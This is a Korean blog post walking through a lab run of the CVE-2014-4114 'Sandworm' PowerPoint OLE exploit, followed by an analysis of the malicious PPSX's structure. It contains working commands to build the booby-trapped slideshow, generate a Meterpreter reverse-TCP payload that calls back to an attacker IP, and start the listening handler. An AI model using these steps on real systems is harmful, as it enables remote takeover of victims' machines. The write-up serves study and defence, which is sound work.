SandWorm MS파워포인트(PPT) exploit
Microsoft PowerPoint Vulnerable to Zero-Day Attack
발생 원인
발생 원인은 윈도우 Object Linking과 Embedding(OLE) 속성의 부분인 PACKAGER.DLL에 취약점이 존재한다. 조작된 PowerPoint 문서를 이용하여 OLE object 내에 작성되어있는 원격 SMB 공유 서버 접속 주소로 접근 후 .INF을 로컬로 복사하여 실행이 가능하다. 이와 같은 방법으로 다른 악성 코드까지 다운로드하여 실행이 가능하다.
공격 방법
+ CVE-2014-4114 [SandWorm]
SandWorm 취약점은 Microsoft PowerPoint 모든 버전에서 발생한다.
실행 환경 : Kali linux, Windows 7 x64 Microsoft Office Standard 2013
사용한 exploit Code : http://www.exploit-db.com/exploits/35019/ Full 버전 다운로드 : http://www.exploit-db.com/sploits/35019.tar.gz |
Kali linux 는 Samba 서비스가 실행되어야 하며, 악성코드를 실행할 Window s 에서 접근이 가능해야 한다.
~ /share/35019 $ 35019.tar.gz 압축을 해제하면 아래와 같은 3개의 파일을 확인 가능하다.
~ /share/35019 $ python cve-2014-4114py 192.168.10.114 share xxx.exe
- 192.168.10.114 : 공격자 ip (samba 서비스 실행)
- share : samba 공유 폴더
- xxx.exe : dropper로 이용할 실행 파일
명령어 실행 후 생성된 ./out 폴더에서 exploit.ppsx와 xxx.inf을 확인 가능하다.
두 파일을 Kali 공유 폴더로 이동 시킨다.
~ /share/35019 $ cp ./* ../../../share/
metasploit을 이용하여 TCP_reverse (TCP 연결) 할 실행파일을 생성한다.
~ /share/35019 $ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.43 LPORT=8888 exitfunc=thread X > ../../../share.xxx.gif
공유 폴더를 확인하면 exploit.ppsx, xxx,gif xxx,inf와 같이 3개의 파일을 확인 가능하다.
~ /share/35019 $ msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.43 LHOST=8888 E
TCP_reverse 실행 할 파일이 연결 가능한 Payload를 열어둔다.
공격당할 대상은 Windows 7 x64입니다. kali에서 Samba서비스를 통해 공유한 폴더에 접근한다. 실행창에서 \\192.168.10.114 명령어를 실행하면 공유폴더 접근 가능하다.
exploit.ppsx를 Windows Desktop에 복사한다.
실행!! 아래와 같은 러시아(?) 문자로 된 PPT를 확인 가능 합니다. PPT를 다음장으로 넘기기 위해 클릭하세요. 그럼 공유폴더에 있던 xxx.gif가 실행됩니다.
msfcli payload 연결을 위해 포트를 열고있던 Kali Linux에서 192.168.10.109:49210(Windows)에서 접속한 것을 확인 가능하다.
명령어가 생각이.. 만만한 screenshot!! 찰칵!
이미지가 저장된 경로를 확인하면 아래와 같이 ~~~~.jpeg파일을 생성을 확인한다.
끝.
분석
악성 파일 트리거로 사용한 PPSX 샘플을 분석하면 다음과 같은 콘텐츠를 확인 가능하다. 확장자를 PPSX에서 ZIP으로 변경하면 압축을 해제하여 안에 내용물을 확인 가능하다.
exploit.zip > ppt > embeddings > oleObject1.bin, oleObject2.bin
exploit.zip > ppt > sildes > xlide1.eml
exploit.zip > ppt > sildes > _rels > slide1.xml.rels
oleObject1.bin과 oleObject2.bin 컨텐츠를 따라가면 원격에 있는 공유 폴더 명과 악성파일에 접근 접근 가능한 IP 주소 확인이 가능하다.
slide1.xml 파일을 보면 "rld4"와 "rld5"라는 2개의 Packager Shell Object 볼 수 있다.
slide1.xml 파일을 보면 슬라이드1을 열때 "xxx.gif"와 "xxx.inf"라는 파일이 packager.dll에 의해 로컬에 복사된다. 또한 특정 엑션을 확인하면 "-3"과 다른 값을 "3"으로 설명되어 있는 것을 확인 가능하다. 이 두개의 엑션은 OLE object를 호출하게 되며, 이 루틴은 packager!CPackage::Doverb()함수에서 확인 가능하다.
함께 생성된 xxx.inf 파일을 확인하면 하단에 xxx.gif파일을 xxx.gif.exe 파일로 인식하도록 변경하고, 레지스트리 시작에 경로를 입력하여 xxx.gif.exe가 실행되도록 설정되어 있다.
※ 참고 자료 http://www.exploit-db.com/exploits/35019/ http://thehackernews.com/2014/10/microsoft-powerpoint-vulnerable-to-zero.html http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/ http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/ |
'30. > 35. Exploit' 카테고리의 다른 글
[Local Exploit] Local Privilege Escalation (0) | 2014.08.24 |
---|---|
[Exploit] Stack Overflow / Heap Overflow / Heap Spray (0) | 2014.06.21 |